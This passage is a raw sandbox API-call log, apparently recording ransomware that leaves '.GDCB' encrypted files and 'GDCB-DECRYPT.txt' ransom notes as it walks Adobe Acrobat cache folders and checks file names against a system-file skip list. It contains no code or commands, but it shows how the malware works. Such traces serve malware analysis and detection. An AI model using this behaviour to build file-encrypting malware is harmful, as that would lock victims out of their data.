(in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.238] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0170.238] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0170.238] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.238] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.238] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 208 [0170.238] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 208 [0170.238] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.239] FindNextFileW (in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.239] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0170.239] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0170.239] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.239] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.239] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 208 [0170.239] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 208 [0170.239] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.239] FindNextFileW (in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.239] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.239] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.239] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.239] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.239] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 211 [0170.239] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 211 [0170.239] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 211 [0170.239] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 211 [0170.239] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.239] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.239] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.239] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.239] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.239] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.239] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.239] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.239] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.239] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.240] FindNextFileW (in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0 [0170.240] FindClose (in: hFindFile=0x5dd1d0 | out: hFindFile=0x5dd1d0) returned 1 [0170.240] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.240] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.240] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.240] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.240] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.240] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.240] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.240] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.240] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.240] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.240] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.241] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 210 [0170.241] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 210 [0170.241] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.241] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.241] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.241] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.241] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 215 [0170.241] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 215 [0170.241] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.241] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.241] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.241] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.241] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 205 [0170.241] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 205 [0170.241] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.241] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.241] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.242] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\" [0170.242] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.242] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.242] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 209 [0170.242] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.242] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5dd2d0 [0170.242] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.242] FindNextFileW (in: hFindFile=0x5dd2d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.242] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.242] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.242] FindNextFileW (in: hFindFile=0x5dd2d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.242] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.242] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.242] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.242] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 225 [0170.242] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.242] FindNextFileW (in: hFindFile=0x5dd2d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0 [0170.243] FindClose (in: hFindFile=0x5dd2d0 | out: hFindFile=0x5dd2d0) returned 1 [0170.243] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.243] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 226 [0170.243] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.244] GetLastError () returned 0x50 [0170.244] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.244] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 209 [0170.244] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.245] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5dd2d0 [0170.245] FindNextFileW (in: hFindFile=0x5dd2d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.245] FindNextFileW (in: hFindFile=0x5dd2d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.245] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.245] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.245] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 225 [0170.245] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 225 [0170.245] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 225 [0170.245] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 225 [0170.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.246] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.246] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.246] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.246] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.246] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.246] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.246] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 207 [0170.246] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 207 [0170.246] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.247] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and 